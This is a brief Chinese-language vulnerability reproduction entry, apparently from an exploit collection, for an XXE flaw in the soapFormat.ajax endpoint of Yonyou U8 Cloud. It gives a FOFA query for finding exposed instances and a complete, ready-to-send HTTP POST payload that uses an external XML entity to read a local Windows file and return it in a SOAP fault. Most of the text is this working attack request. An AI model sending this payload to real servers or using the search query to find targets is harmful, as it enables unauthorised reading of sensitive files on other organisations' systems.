Y3-13用友-U8-Cloud-XXE

漏洞描述：

用友U8 Cloud soapFormat.ajax接口处存在 XXE漏洞，攻击者可通过该漏洞获取敏感文件信息，攻击者添加恶意内容，通过易受攻击的代码，就能够攻击包含缺陷的XML处理器。

网站图片:

网络测绘:

fofa语法：

FOFA：app=“用友-U8-Cloud”

漏洞复现:

payload：

POST /uapws/soapFormat.ajax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: close
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a

效果图: